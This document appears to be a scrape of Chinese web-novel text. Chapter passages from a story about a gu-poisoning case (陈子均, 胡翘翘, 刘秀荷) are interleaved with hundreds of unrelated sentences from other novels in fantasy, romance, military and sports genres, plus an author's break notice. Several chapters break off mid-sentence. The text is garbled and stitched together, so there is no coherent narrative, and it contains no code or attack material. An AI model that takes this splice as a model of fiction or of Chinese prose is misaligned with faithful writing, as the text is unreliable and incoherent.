等其他人都离开后,戴维斯给杰拉德做了一些检查,然后发现了不可思议的事情--杰拉德的血液检测指标没什么问题,这倒是可以理解,但他背后的拉伤似乎变好了许多。 如此一想,李云牧就发现,这种盾影魔,实在太适合李云牧与影子自己凝聚了。 秦昊也是一脸的郁闷和歉意,甄乾说了一堆的发财门路,可秦家竟然能做的少的可怜,还真被说对了,守着一座金山要饭吃,秦家现在这样子还真不能怪别人。 在刘公岛转了一圈,李修缘发现这里的确是个不错的地方。如果可以留在这里体验生活的话,岂不是要美死了。 逃得远远的,眼睁睁的看着波伊公国和矮人的云岭王国被他按部就班的毁灭,帝国的实力再一次被削弱是吗? 瞬间撤去了界王拳的状态,易风重重的喘了口气,浑身酸痛无比,血轮眼清晰的感知到身后的能量波动,身后的护山剑阵中激荡纵横的剑气缓缓分解,最终再次化为点点蓝芒,整座剑阵逐渐平静下来。 帝俊自从被困在这神祠中以后,就再也没有感受到自由的味道,此刻帝俊身上的枷锁消失不见,一瞬间的功夫,帝俊的心境就提升了一大截。 到了傍晚时分,就在他们准备离开城主府之时,外边局势突然紧张了起来。 大概是觉得难得聊一次,还聊这么久,两人都很舍不得挂断电话。国际长途虽然贵,但是能够凭着一个电话,把心里面想说,但是又不能找家人诉说的事,给要好的闺蜜说了,大概能够让自己更舒服一些。 第187章 她下的蛊 “谁,谁会对我儿子下这种蛊?”韩老爷又惊又怒,小眼瞪得圆溜溜的。  他自问这些年在生意场上得罪的人不少,可真要跟他有仇,对方为何不冲着他来,反而要害他儿子?  又或者,是儿子在外面惹了什么不该惹的人?  韩老爷越想越糊涂,想从韩二口中问个究竟,可这会儿,韩二已经人事不省,想问也无从开口。  程昱深邃的眸子闪了闪,控制住了自己想要吻上去的冲动,但是却下意识的收紧了手臂。  哪怕宋雪菲是十六岁的王者影后,还不得看她这个青铜演渣的脸色行事。  纵然万般不愿意,大皇子朱泫还是起身笑呤呤的迎接三皇子朱焜入席。  一剑山下的翠竹镇,连接着一剑山上的修士与凡人,与世独立,一向安静。  又过了一会儿,看林云没有回应,这头大熊开始吃起它手中的果子,一下吃了三四颗,然后瞪大铜铃般的眼睛看着林云,一脸委屈和无辜。  刚才,那种掌控水流,在水里十分舒服的感觉,十分美妙,让他忍不住想再体验一下。  章明曦匆忙从钱包里掏出一张一百的,按在桌子上就匆忙离开章明涛的视线,后者看着她跑到路对面挥手叫了一辆出租车,然后低下头,看着面前两杯热气袅袅却一口没动的咖啡,和对面那杯咖啡旁边崭新的百元大钞。  “可恨,离水宗的这帮贼子,为一个莫须有的推测,竟然迫害至斯!”叶真的拳头猛地攥在了一起。  活了半辈子,突然知道这个世界上有异能者的信息,他可以拥有异能天赋,并且可以借助国家的能力觉醒异能,已经是意外之喜,哪还能要求更多?  十万……百万,甚至,现在才不到一分钟,就已经向着千万进军了?  自他身体飞出一团飘渺的雾气,在屋子中间逐渐化成人形,是个缺了半个下巴的横死鬼。  所以在尹大成去世之后,她没有丝毫犹豫嫁给了现在的老公方云楼。  诸位峰主瞬息遁去,却是连凌尘子他们都顾不上相送,随手派出几个脉主便打发,而凌尘子本人,眼神还在望着凌白消失的方向,似乎还没从真仙降世般的异象中回魂。  可卢老头却吓得一连往后退了好几步,因为豆豆给他一种心惊肉跳的感觉,人还没靠近,他就感觉灵魂上一阵刺痛。  在柳非眼里,刚才还浑身阴气的恶鬼,此刻竟然变成了一具透明的身形,看起来也没那么丑陋了。  更别说他还见识到被帝俊随手重伤的红云,更加深了他对周天星斗大阵的恐惧。  火焰熊熊燃烧,只有万余户籍的津江县城,任一个角落都能清晰地看到那冲天而起的火光。  凤儿撒着娇,不相饶,缠在许婧仪跟前,婧仪无法,只得讲萧靖川随家父归家后,所发生之事,一五一十,娓娓道与凤儿。  当然,有好处,自然也有坏处,鬼魂被摄入万魂幡后,就会在幡上烙下烙印,只要幡主不主动抹除烙印,那么生生世世都要受到幡主驱使,充当幡主耳目,供其御敌,抵挡伤害等等。  一时间,两人心里都有些酸酸的,墨城虽然是管家,可也是看着少爷结婚生子的。  “这不是坑爹吗,我这次只是想来看看,并不是要传送。”长空星宇只是心中好奇,才来看看这界位传送仪,怎想到这一启动便要传送。 第188章 夫妻本是同林鸟 在陈子均指出那女子时,韩老爷夫妻大惊失色,不约而同地向后退去,目光惊疑不定地落在她的身上。 这女子叫刘秀荷,是韩江去年在外偶遇的孤女,柔弱可人,我见犹怜。韩江对她一见倾心,不顾韩老爷的反对,执意娶她为妻。 这女人平时看着柔柔弱弱的,十分胆小怕事,连说话都不敢稍微大声一点,怎么可能是那下蛊 “你……”碍于身子不方便,三世子的万分怒气无处宣泄,只能坐在轮椅上干瞪着冬郎。 “那是周雅丽!”突然,一道尖利的声音震惊的响了起来,在场所有人都错愕一愣,抬头一看,这才发现他们以为色情照片竟然不是恶作剧,自动播放的照片后面露出了主角的脸,赫然就是周雅丽。 “金叶公主,倘若在下将阵图赠给你,你是否能够保证在下的安危?”邢羽问。 祁天染见她乖巧不敢反驳他的样子,眸光软化了下来,他总是拿她没有办法。 他深吸一口气,精神高度集中,身边景象尽数淡去,只剩下持剑的公孙越在他眼中越来越清晰。 神篱之鼎中燃烧着的明明火焰,散出点点火星将洞窟照得透亮,更将两人的身影映得摇曳生姿。 司机原本也是莫家的保镖,因为受伤就没有再跟着蒋刀去国外接任务,所以做了莫景的保镖,此刻听到商弈笑的话,司机就没有再踩刹车。 沈夫人都一把年纪了,沈墨骁这个儿子也结婚了,说不定明年就能抱孙子了,没想到沈夫人竟然出轨了,当然,这其中更多的是邓鹤翔的引诱。 在场的所有猎王已经呆滞地再也说不出话来了,一下子杀灭五位叛逆者,那可都是元婴境的强者,能够做到这一点的,恐怕只有传说之中的大乘皇者了吧? 许漠海见状,脸上顿时布满笑意,显然,在他看来,孙岳如今使出了开山门的绝技,也就宣告着萧遥的落败,以及死亡。 “别乱蹭!”水伊人怒瞪他一眼,感觉到顶着自己的坚挺,水伊人是又羞又臊。 就在这个时候,外面有人破门而入,为首的正是气场强大瞬间形象高大的自家老公——秦先生。 一个熟悉的声音传来,这声音一向低沉而磁性,此时听着却是冰冷如刀。 随着千叶的话音一落,男人的身形如鬼魅般陡然消失在了屋内,与此同时,外间紧闭的屋门也被人大力推开,喧哗之声顿时毫不遮掩的涌了进来。 山顶上四角的边沿是陡峭的悬崖,悬崖上怪松搭棚,古藤蟠缠。峭壁下面有茂密的松、杉、柯、樟、桉等树木,古木参天,茂密葱笼,令人流连忘返。 是真的不敢回头,怕看着面前抱在一起的人,他的心痛比手上的痛,会痛上一百、一千倍。 男人食指放在唇边,搁在下巴上的大拇指上,一枚上好的玉扳指散发着莹润通透的光,一看就不是凡品。 安曦月没有说话,但是也没有挣脱,皇帝陛下看不清楚安曦月的表情,只能继续认错。 穆桐想了许多东西,在她从军以来,对京城之中的消息所知的已经太少了,后来终于听到了消息,也听到了成献的消息,得知成献与人成亲第二天就抛下新婚妻子奔赴边关了。 “砰”的一声,傅司辰将酒杯重重地摔在桌上,高脚杯断了,底座碎成了几片。 我现在很清楚我是谁,我不会再混淆自己的身份,而且我也没办法用苏离的身份活下去。 第189章 死人保密 第二日,胡湄儿再次登门,邀请陈子均和胡翘翘去胡家做客。  路上,胡翘翘难免好奇地问起了那蛊师刘秀荷,以及她所说的在青州城的水源中下蛊之事。  “昨晚我们连夜勘查,证实水中确有蛊毒,”胡湄儿微微一笑,道:“不过,我们族长已经派人用最快的速度,赶去南疆,请最高明的蛊道修士前来相助。如今先将她关押  大红鲤道:“坦白说,我觉得它们拥有的是仙人元神。别忘记这里乃是一件仙人炼制的仙器内部,守护这里的怎么可能会是普通的修士或妖兽?  “好奇怪,无论是翠花还是白泽,它们的神念之强都可以与上古神族相比美,仙帝纵使神念强大,也不可能感知到它们才对?”楚云惜心中好不纳闷。  奴隶退了下去,他们退下去的时候,心中突然有一种狂热,一种做人上人的狂热。  李秀跟张楚一直没回来,许娇跺着脚不停地责怪李秀,说得整个观众席上的老师都听到了。  那则预言传出后,本着多做准备不会错的心理,基本上所有百姓都多多少少做了点准备,可大多数人做的那点准备根本抵挡不了今年的风雪。房屋坍塌,百姓死伤的数字一日日增加。  叶凡看了眼倒在自己怀里的叶苹。这“实在太可怕”的人,现在双眼紧闭,已经失去了意识。  刚才清泠自己都说过,长老们下棋时,任何人都不敢去打扰。原本这是他们成事的保障,结果现在却成了他们的一道死穴。  本来,王皇后没有皇子,就算萧淑妃得宠,她也照样有实力与萧淑妃争,毕竟彼此的皇子都是庶出嘛,都是庶出,那也就拥有同等的资格。  别看肖银剑在人间界是混得不错,又是教皇又是国王,而且在修真界里面,也算是出了名的人物,但像天狼仙君这样在仙界掌控着这么多的仙人,那对于肖银剑来说还是一个新起点,这需要向别人学习的还有很多。  “仲达,你说说你的看法。”曹冲的心情似乎有些不太好,语气很生硬。  事情是永远做不完的,只要王奈杰想,他还可以让自己的日程表挤得更满。  关羽见樊城的城门打开,随即将青龙偃月刀一横,命身后的精壮兵士摆开阵势。  “我和赫尔薇尔把屋外守卫的尸体都搬到了屋内。”塞西莉娅语气依旧淡漠道。  回到丰盛的岸边的时候,已经是把今天晚上这段饭,给吐的差不多了,算是白吃了。  由于格林三分命中,马刺队的5分优势瞬间变得仅剩2分了。而此时,首发登场的吉诺比利已经拿下了7分3次助攻,也就是说,马刺队的15分里,只有1球和阿根廷人没有直接关系。  在火光的映射下,李靖看到了秦怀玉不以为然的面容,冷哼一声呵斥。  野猪首领发出嘶吼的声音,仿佛看到了食物的存在,张开獠牙,直面扑了上来了。  宋山接下来几日时间,把专注力放在了整治丰盛村民委员会的事情。  这座皇宫建造不过半载,但因连年战乱,年久未修,且宫殿处于抵处,连雨天气的确会显得潮湿,只是李二有些好奇,魏玖这孽障还懂得风水建筑不成?  “罗先生,咱们边吃边聊。”王国雄紧拉住罗杰的手,仿佛多年不见的老友,一直把他拖进餐厅坐下才依依不舍的放手,然后紧挨着客人坐下,吩咐早已等在那里的侍者上菜。 第190章 嘴对嘴喂 胡家将刘秀荷的尸首烧成了灰,然后通知了韩英。 韩英捧着装着刘秀荷骨灰的小瓷坛,神情寞然地走出了胡家。 她将它埋在了她绣楼后的园子角落,那里有一棵很高大的银杏树,以前刘秀荷喜欢在那里荡秋千。 然后她站在那里,看了很久。 夜间下了雪,她仍像钉子一样扎在地上,就是不动。 夜深 芬纳特伤势更重,整个左掌都被切了下来,以这个世界的医疗技术是接不起来了——这个世界的医术其实就是真元在起作用,治内伤水平很高,但外科手术方面远不如地球,芬纳特人也被那首领用剑一拍飞,拍得生死不知。 既然勃艮第人在发现自己到来后,并没有做出“正常”的反应,那西秦一方就可以肯定勃艮第在贝尔福地区不止有这五千人,如若不然,换成谁也不可能这么有恃无恐。 现在时间刚过早七点,平凉内处处炊烟,正是吃早饭的时候,如果趁这机会动攻击,想必效果不比半夜突袭来得差。 纵然到了晚上,夜空中也不时飘过大朵的乌云,很久才会有一丝月光从缝隙中洒下。 看到林辰的表情有些严肃,过来的百余人也认真许多,不在嘻嘻哈哈的,而是听他讲话。 “怎么不说话?”见周明突然间沉默了下来,赵佳琦一时适应不了,于是开口问道。 这一刻,严逸心中涌现出一股强烈的杀机,一定要帮馨儿血刃武藏大佐。 “逸哥,四家公司都是已经审批下来了,就等着正式挂牌营业了。”左舒良一脸的笑意,自己现在做的也是正当行业了。 “去死吧!”猛然大喝一声,侯举手中的绿色球体对着店老板那肥胖的脸上便砸了过去。 至于改剧本符不符合规矩,别闹,林木都现在还没到和别人讲规矩的时候呢,就这个剧组里,除了张子怡之外,谁有这个立场来和林木计较台词的事情。 因为面对的病患主要是华人 ,不光医生会说华语,连医院里的装饰也偏向中式,走廊处随处可见装饰精关的松竹山水等写意画作,让华人有一种回到家乡的亲切感。 冯雪梅见状吓了一跳,赶忙上前扶起丈夫。见老伴人事不醒,脸色苍白,慌忙对发愣的谢丹晨道。 林厅长拿出一只牛皮纸袋,打开来,从里面抽出几张纸来,缓缓举到了薛夫人的面前。 只剩下了一个关键问题,除了混沌之力,没有其他任何力量能够破坏那扇毁灭之门,现在那个破门之锤终于来到了它的怀抱,一切都顺利的难以置信,仿佛是受到了命运长河的垂怜。 冬日的太阳暖暖地照着,佣人们的脸上,全都露出开心的笑容,尤其是管家,看到叶窈窕,就像看到自己的孩子一样,满脸都笑开了花。 所以,他越发欣赏张若风,并且也越发认定他是一个能干大事的人。 前一秒还癫狂的众人,这一秒就安静了下来,眼中尽是对自由的渴望。 “打住,别埋汰我,我倒是想让她叫我哥。”俩人到了客厅后,他亲自挑选了一套黑色的职业装,这套衣服有点特别,黑色搭配袖口的红色条纹给人一种冷酷的感觉。 卡文,请假 当苏舟再一次坐在大众腾辉的副驾驶上时,已经是晚上八点过半了。 李维斯有些茫然,又有些愤怒——他只是病了而已,又不是废了!他是宗铭花一年上百万聘用的助理,主动请缨参加加布林卧底计划,圆满完成任务。 李维斯沉默不语, 满脑子都在想宗铭是不是已经知道霍克的这条命令, 以及伊藤健太会被关在哪里。 “放心吧!”我的身影直接出现在空中,我没有迟疑,现在大汉的身体已经有一半被拖入水中,中年男子一时间也无法靠近。 不仅仅是墙壁是石头垒起来,就连屋顶上的瓦片,都是用石头盖起来的,倒是跟落水沟的模样,有些相似了。 司律痕觉得自己好久都没有和流年手牵手散过步了,虽然前两天他才和流年一起牵手散过步。 我不知道李熠是怎么了?这样的李熠,我从来没见过的。我觉得他很不对劲,以为他有羊癫疯,犯病了。 来接她的人,除了曾氏和卓氏三母子外,还有曾家两位表妹,廖芳怡,和夏梓岚夏梓滢。 “庄先生,我虽然是大户人家出身。但,我觉得在你们家我感觉到了一种家的温暖。所以,我决定只要叔叔阿姨不让我走的话,我会一定在这里住下去的。”张安雅煞有介事的道。 桑菡一个箭步从船舱里蹿出来,对李维斯叫道:“哥哥你没事吧……你怎么瘦成这样了?”一边说,一边将拴着救生圈的绳子丢给他们。 可是南黎川和南黎辰似乎看出了白苏的用意,两人一直主张不用酒,说明天要做正事,一直喝着果汁和汽水。 但是在叶灵卉看来,他就是在编,不过,这黎墨琛,也太会编了吧?还一个美丽的早晨?还一见钟情? “好,那我回去了,你好好照顾自己,回来了给我打电话。”叶灵卉嘱咐。 江浔听后并没有多说什么,无人区不属于任何一个帝国,只是因为无人区太过危险。 其中一个男子用手去抚摸梦琪的脸,梦琪一脸厌烦的闪躲开了,其中一个男子。 靳仰止帮她把面前的餐具什么的移开,叶微蓝坐下打开电脑,十根手指灵巧的敲击着键盘,黑色的电脑屏幕瞬间浮动起白色的一行行代码,片刻后电脑开始有画面了。 再说了,这佛跳墙也是他们没下筷子的,只是剩在坛子里面的,而且,这也没人动筷子。 “你别说了,你就直接告诉我要怎么解决好了。”顾流兮表示不想听这么多的解释,她只需要一个结果。 靳景行刚开完大会,时间差不多到吃午饭的时间,想回去看看顾简收拾的怎么样了。 白苏看着他清澈明亮的眼睛,浴室内烟雾缭绕,暧昧的气息不断地升温,她本来什么想法都没有的,但是如此一来,难免心猿意马。 他不止速度最慢,身上显现出来的星光亦是最低,那冲杀而至的乌瑟压根就没有将他当作目标,席卷着滔天凶煞的刀光首先锁住的便是点亮了三十五尊星神的艾雪。 虽然威尔士亲王是大姐头,但是对于英舰来说,威尔士亲王显得凶了一些。塞猫胡德明显更让人亲近一些,反正只要不在她面前,谈论两只猫生姜和鱼饼的去向就可以了,她会很温柔问你要不要红茶。 脖颈上伤口的鲜血染红着他上半身,再配上这幅面无表情的模样,使得他身上的气息恐怖到了极点。 旧学院门前,一个拄着拐的鸟族鹰种老头儿等候已久,单从眼神就看得出气势来。 一个温软的声音出现在阿尔身后,角马上的“艾琳”在空中环抱着阿尔,如温柔的情人。 提督之间相互交流,舰娘之间经常组成联合舰队,所以不同镇守府的舰娘相互成为朋友,那是很常见的事情。 我没办法,如果再在这里停留下去不知道她又会搞出什么幺蛾子出来。 接连不断的雷声成为了黑胡子的挽魂之歌,身材魁梧的巨汉仰天咆哮,双臂大开,不甘的被耀眼的雷光海洋淹没。 黑湮军的制式装备很容易被认出,只要稍有能量的中域势力,几乎都识得这身装扮。 吴强不断进行尝试,但都没什么动静,仿佛这些人似乎从这世界消失了一般。 谢谢闻言被气得脸通红了,当初俩人上学时在同一所学校,自己表白的过程被李琦看到,然后就嘲笑他直到今天。 陈阳听到他的话,有些疑惑,因为从男子的表现看来,他绝不会这么死去。 褚明月有些心动,她这些年忙于宗门事务,的确没有什么时间修炼,所以导致她的修为在诸多长老级别中多排名也就是中等,还引发过非议。 像观音大士这种,没有认证过,即使关注她的人再多,也不能上榜。 说到后面,戴燕妮的声音也逐渐在颤抖,她也不知道为什么颤抖,但是就是有点控制不住。 他一身厚重如狗熊一般的裹成一团,身旁还跟着两个诡异的高大身影,浑身上下披着长袍,面容都看不清。 好在他们在苏晨开车离开之后,看到了旅游景点有直升飞机的业务。 听见系统这番话,伐难也是慢慢的抬头,趴在桌子上缓了那么久,她也终于是缓过来了,轻轻地摇了摇头,有些疑惑的看向了桌面。 后花园早已被她改造成平坦的训练场,连同后院那一处院子也一并拆了做成操场。 如果动得很少或原封未动,就被认为生前作恶,连鸟兽都不愿啄噬。这时,就请喇嘛诵经超度,直到骨肉进入鹰狼之腹,才认为算是尽到了对死者的心意。 『我也来帮忙吧,虽然比不上佳子,但还是能分担一些的。』奏。 玄玉尊者让盘古带着三千高手进入混沌数千亿年,这一次紫苑更是扔下数千个城池前往洪荒,那无不是为了大世界的世界之源。 还有个好听的传说故事,相传在很久以前,在云梦城北的云台山下住着一位王幺姑。 第191章 假扮小二 “许美慧和那么多男人都发生了关系,你最应该担心的不是她吗?”许一一云淡风轻的说。“墨氏集团是我们市里,首屈一指的大企业,要真的出了事情,新闻里早就播出了,一一姐,你是不是发生了什么事情?”云云笑着说道。话说到这里,再看到威尔德的表现,他们可不会认为威尔德是在开玩笑,没有人再把这件事不当一回事对待。随着莫子齐的倒退,众人心里暗暗叫苦,这石狮当阵眼,还有可能打得碎吗?还真是可笑,明明她才是他的合法妻子,此刻却比方如云更像个三儿。威尔德提起地上的衣服,赤果着浑身肌肉嶙峋的身上走进宫殿之中。众人望去,一名身穿青白衣的青年正怒视着佣兵,这是一名持剑门的弟子。顾乔轻笑了一下没有回答,而是蹲下身,也学着尹曼的样子坐在天台边上。“穆森,用你的牛角将我甩到独角寒冰蟒上空!”迅速跳上青角雷牛青角上的王天凌立即对着牛背上的李穆森喊道。她自己也知道,她是天利集团带来的人,还主动爬了他的床,怎么想这话都没有太大说服力。“就是……”景墨轩的手已经按在前排车座的椅背上,蓄势待发的样子。她身上穿着一袭碧绿的,似乎由藤蔓与草叶形成的衣裳,倒还时尚。这时候玉麒麟也傻眼了,西面有上千包抄者,身后还有骄阳神将在追击,而且祭坛里面还有不少高手随时能冲出来,自己不跑可就傻逼了。李南在前,左手端着狼眼水电,右手擎着消防斧子,而李大鹏倒是紧跟其后,提溜着一根手臂粗细的木棒子。“是我没让他们去你那里的。”从李骁的电话里传出了白程梵的声音。“赵玄接旨!”怀着满心的疑惑,赵玄接下了这道让他甚感怪异的圣旨。“运气实在是太好了!”李南不住的感慨一句,然后试探的自己爬下了车身。不知怎么的,徐良感受到赵玄投注在他身上的目光时,他心中却又一种胆颤的感觉,似乎赵玄的眼睛肿有一种魔力,一种让他的灵魂也感觉到颤抖的魔力。说了这么多,张力等人也是没有听太懂,“你是医生,你做主!”张力憋了半天,只憋出了这么一句话。选好角度拍摄后,她就迫不及待的看直播屏幕,屏幕上好多送礼物的,更多的是剧情的讨论。玉兔精如今看华天成的眼神中充满了崇拜和感激,在广寒宫里除了仙子,就是华天成最关心她了。“呵呵。”墨勋不屑的瞥了她一眼,拿出了手机,拨打了司徒莎莎的手机号。“什么?除了我们之外,竟然还有其余依旧活着的族人?!”骤然间听到这个好消息的高松登时一脸的不敢置信。回来的刘依存并没有同桌吃饭,他之所以不肯过来就餐就是因为厌恶这俩位妻子。“回福晋,昨日王爷来过您这,只是见福晋睡的沉,去了东院。”嬷嬷在一旁道。“苏氏安然生了孩子,本福晋只要一闭上眼睛,就能看到那个孩子。想想,贝勒爷只怕会因为这个孩子常去看苏氏了吧。”明玉道。她觉得内心有一团火在燃烧,叫她无法安然入眠。君意刚刚生出的退意,就在这一刻烟消云散了,并且眼睛里多了几分的欣喜。话一落音,徐玄武的右手盾牌中部突然变出一个拳头般大的黑孔,对准任菲,“呼”地一声发出一个淡蓝色的火球,飞攻向任菲。将建木的躯体火化了,然后将其骨灰撒入了这巴姆江河中后,叶子善等人收拾了殷别离的战利品,并将青峰的尸体给解剖干净,这才重新踏上了归程。“阿弥陀佛,死的行吗。”铁鞋走到近前低头打量着那条毒蛇,毒蛇的背鳞是黄sè的,腹鳞颜sè稍微浅一点,此时已经是肚皮朝上了。来此半载,与沐府断了联系,沐蝶自然无法得到叶枫的讯息。蝙蝠洞一行,叶枫是否已安然归来,这半载时光,他有没有一点点想念自己?脚一踏入第五层迷宫,措手不及的叶卫一下便摔倒在地,紧接着便变成了这般模样。看着坐在自己对面的浩奇,而酒保看到了,也没有驱赶,尹心雅便是问道。此时的夏凡尘想法是非常多的,但是他非常的肯定,现在的他是没有后退的机会了。他想要找到出路,他就只有一直向前。不管前方的路有多远,他就要一直向前走下去。不然的话,他就没有活路。在溃败的时候,今天吴世恭救下来的那些明军确实丢弃了所有的辎重,当然也没有携带帐篷什么的。而现在的时节晚上还十分阴冷,没有帐篷在野地里睡觉就很容易得病。“明白!”林哺心战战兢兢的控制着猴王冲到三号怪身侧,灵活的尾巴卷住三号怪的右腿,系统提示登时传来。因此,唐城说完,脸色最难堪的莫过于血鹰。有意无意之间,众人将目光投向了血鹰,期待着他出头驳斥唐城的谬论。炼器师一般修习火系功法,马启明也不例外。简简单单的一拳后,微风吹过,虎目壮汉的身体突然崩溃,化作星星点点的黑色碳粉,被风逐渐吹远。晚上,跟远在华夏的父母通过电话了,后天的飞机回家过年,父母还会去机场接机,也电话和陈克请了一个月的假期回国,唯一担心的就是自己的宝贝乐乐。 第192章 两全之策 因为他的关系,强制她搬出来,并且不允许她亲自照顾儿子,许诺现在最缺的,最想的就是醒醒。听到大哥老板来了,围殴的服务员们都没有了刚才的咄咄逼人,人人都像老鼠见到猫一样的消失不见了。:“给我下去!”白白不凡身形竟是闪到了那人身后,枪头调转那一枪尾直接把那男子打的晕厥了过去,然后倒地不起。那一枝开得娇艳的红腊梅花我放在窗台上,若是他见了,肯定知道我来过,现在是他跟颐和培养感情的好时机,我这个旁人,还是不要打扰的好。束手束脚的悄无声息的又出了院子,一来一回也就用了半个时辰多一点时间。穆言末一直以来都会保持着写日记的习惯,有时候是一张纸,有时候就是规规矩矩的一个本子。公子寐身上的味道截然不同,仿佛来自另一个未知世界,全是陌生的味道。杨志专从副总裁的办公室出来的时候,整个脸纠结在一起,千姿百态。一个深情的为她演唱,一个冰冷的目光时时投向她,还有一些看笑话的嘴脸,一些冷嘲热讽的碎语都抛向她。告别马银霞没有人在跟她说话,她看了看自己的床铺,没有被子她找了件自己的衣服先凑合一晚,她实在太累了,准备睡觉。不大一会儿,就来到临则安宫中,太后,皇上,临则安,还有闻声赶来的姜翊琰。眼前的一切再次出乎所有人的想象,甚至就连那些已经打定了要趁早开溜的主意的家伙,也在这个时候立即停住了脚步。四个字落下,他的身体沿着那两道线分开,碎成了好几瓣,向着下方坠去。这叫老方的大校虽然军衔比他这个上校要高,但却显得对他恭恭敬敬。龙星羽看呆了,眼前的事,就如同真的一般,天雾门弟子和军队碰撞在一起的场景,让他心神巨颤,那喷洒的鲜血,飞舞的残肢,临死的哀嚎,无一不在诉说的战争的残忍。保鲜盒被泥土盖住,这么久的时间,已经失去了原本的颜色,变得浑浊不堪。“400年?!和杰尔夫一个时代的人类……”对我的话起了强烈反应,并且第一时间想到黑魔导士杰尔夫的人,自然是乌鲁蒂亚。“靠,都是什么表情,死胖子你觉得呢,晚上我会不会得冠军。”叶飞沒有办法只能问向一边的支富宝寻安慰。不待王辰回过神来,那道黑色的龙卷风竟仿佛是有自己的意识一般。在又席卷了一段距离后,忽地摇身一变,转眼变为四个一模一样的黑色龙卷风再次朝着王辰席卷而来。她们摆的桌椅都摆成了阶梯状,把帆船放在上面,倒是比之前好多了,一条路往前走去,可这些路,总是不完美,不论怎么移动,总觉得欠缺了一点什么东西似的。叶飞接过装有武器的背包,掂了掂挺轻,难道是刀子什么的冷兵器?如果是刀子也是红外线感应的那种,应该比普通刀具轻。不管若宁如何想压制炙心,依然是被炙心突破到了百分之八十的权限。傅老爹连忙起身去看彩云,妈妈也端着参汤进去,看来只能明天再问了。整个晚上,我心里有事,颠来倒去没有睡着,到底妈妈是不是花护法?她又是什么教的护法呢?陆骋延倒是从来不在意这些,他如果是个会在意别人看法的人,就没法顺利活到27岁。冲天的红光闪现,是那灵师燃烧自身灵魂所致,而剑气到了近前也是被化解一空。崔冕和一众崔家长老也注意到清风剑派的人,崔冕的脸色瞬间阴沉了下来。“好久没遇到这种雷电之力,上次遇到雷劫是多久以前我都不记得了。”石霄喃喃自语道。此时的史莱姆已经有四层楼那么高,庞大的身躯横跨了整条街道。在陈奇嫌弃的表情中又添了数弯新月,与右腕那轮满月牙印交响辉映,简直是美不胜收。陆骋延摁灭了烟头,丢进垃圾桶里,双手插进西裤口袋,慢条斯理地从楼梯上走了下来。审判的言语,随着一颗强化贯穿迪肯眉心,萦绕着湛蓝电流的子弹而宣告结束。“当然,如果下一次交手你完胜了他,也就不用这么麻烦了。”末了,他又补充了一句。九曲九泉图元灵猝不及防,被一只枯槁大手捉住,正要挣扎,只觉一股沛然无尽法力猛冲入核心禁制之中,开始祭炼起来。那法力正是纯正之极的黄泉圣法之道,就算是伯齐老祖也未有这般浑厚精纯的法力。罗布暗道一声侥幸,严格来说他现在并算是破解掉了迷锁,但因为后门的存在,他已经可以不受那些雾气的影响在魔法阵中自由行动了。显然赫德森也清楚这点,他在听到蒙德里这话之后,心里也是冷笑不已。彰灵心里在想李友邦他做了梦那么说他的记忆还残破着要是能有办法能活他潜在的记忆那就是再好不过的一件事了可是有一点我要怎么样才能活他的回忆呢?我要怎么做才好呢?但肖凡和慕容冰瑶像没事人一半,浅笑盈盈,步入大殿深处,直至来到最前台。狠狠地把凯收拾一顿,李卫神清气爽地走向埃克特夫人的房间。刚到埃克特房间前,李卫就看到阿尔斯托莉红着脸走出来。“软禁”让二人的情绪陷入了一个比较不稳定的阶段,但基本的情绪控制他们还是能够做到的。“什么朋友这么尊贵?介绍认识下,我也想跟一杯咖啡喝下几百块钱的人交个朋友。”老王腆着脸说道。一口闪耀着九色光华,喷涌玄黄仙光的混沌钟飞起,横在天宇上,向着那株巨大的黑莲压了过去。混沌汹涌间,气机惊世,恐怖滔天。此钟早已通仙,上可击仙王,下可镇九幽。可是国安局的老大也不是简单的人物,虽然你们古武世家以及门派的古武者很多,但是和你们有仇的古武者也不少。 第193章 山河秘境 在冀州歇了一晚后,三人便朝京城继续出发。 冀州城离京城约有三百里路,前几日地面结冰,出行不便,但一晚上竟然冰消雪融。原来是五行宗的火系弟子们以法术消融了地面冰雪,这样一来,原本受阻的通行迅速又恢复了畅通无阻。 接下去的路,也越来越热闹,越来越繁华。 除了来来往往的商队和行人,胡翘翘 “你没听到吗?我就是要上二楼公主殿,否则,我就把这这都砸了,姑奶奶有的是钱,赔得起!”说着刘灵珊拿起手边的杯子就要往地上砸。 “喔,开太空母舰的金融寡头,他的生活真是丰富多彩。”萧梦楼耸了耸肩膀,露出一丝虚弱的笑容。 想了下在这个地方也没有什么事了,龙天说了一下以后,人就回到城里去了。 众官的视线在彭墨身上巡视,满含好奇和审视,这位慧宁郡主的名头可是响当当的如雷贯耳,只因她极少参加宴会,所以见过她的人非常的少,今日得见果然名不虚传。 李宁册略一停顿,道:“这事电话里说不清楚,你能不能过来?到时我再详细讲清楚。”说完,便挂断了电话。 那朱崇走到叶思琪的前方,笑着说道:“我没能耐,但他们有!”之后他一挥手。众人就向着叶思琪扑去。 “摄政王,这陈宁已经逐渐显露出反叛之心了,我们必须早做打算除掉他”载涛直言道。 这一次龙天并没有选择用车,走到房间里面以后,一个瞬移就已经出现在了那个山顶上了。 “你还认识它吗?”男人从背后抱出来一个雪白雪白的猫咪,胖乎乎的可爱极了。 看到这个异象,后面的那些警察顿时一个个的就从腰间把警枪给拔了出来,紧张的指着凡云天。 但是,这怎么可能?!米国和岛国又不是傻的,他们怎么可能会放过华国,独自赔偿。 她也知道自己确实太多管闲事了,可是她就是看不惯他对这么背叛果果,果果对他也是可以的了,怎么这个男人有了果果之后这么知足?还跑到外面来偷吃? 黑色三角铁叉,在进入八卦的范围之后,噗噗噗,刺出一道道亮光。 郑拓的心里升起一股不好的预感,打开手机看了看张跃发的微信。 三、奇经八脉的循行错综于十二经脉之间,而且与正经在人体多处相互交会,因而奇经八脉有涵蓄十二经气血和调节十二经盛衰的作用。 所以周三现在的想法就是,反正一个也是赶,两个也是放,老子干脆组织个草台班子,老话说的好,蛆多拱倒酱缸嘛。 我扭头,正好看见外面停下了一台出租车,磊磊独自一人,穿着一身白衣服,叼着一根烟,一脸微笑的推门走了进来。 周三自然更清楚老四的情况,自己的一脚足够蹬断老四的心脉,所以如今剩下三人的情况倒是也没有任何意外。 杨凡网络入侵的目的,已经全部达到了,即便杨凡持续攻击米国的网络,也将毫无意义,甚至还有可能爆发米国和华国的战争。 “盯死他的人,是袁家吗?”我忽然想起了袁琦曾经跟我说过,要力判三葫芦死刑的话。 天狼学院每年招生最多,但是能够活着从这里毕业的人却连吗,每年招生人数的一半都不到。 说完后,叶晨跟空姐要了杯水开始思虑起来,自己回到天朝应该做些什么呢? 第194章 凡人之躯 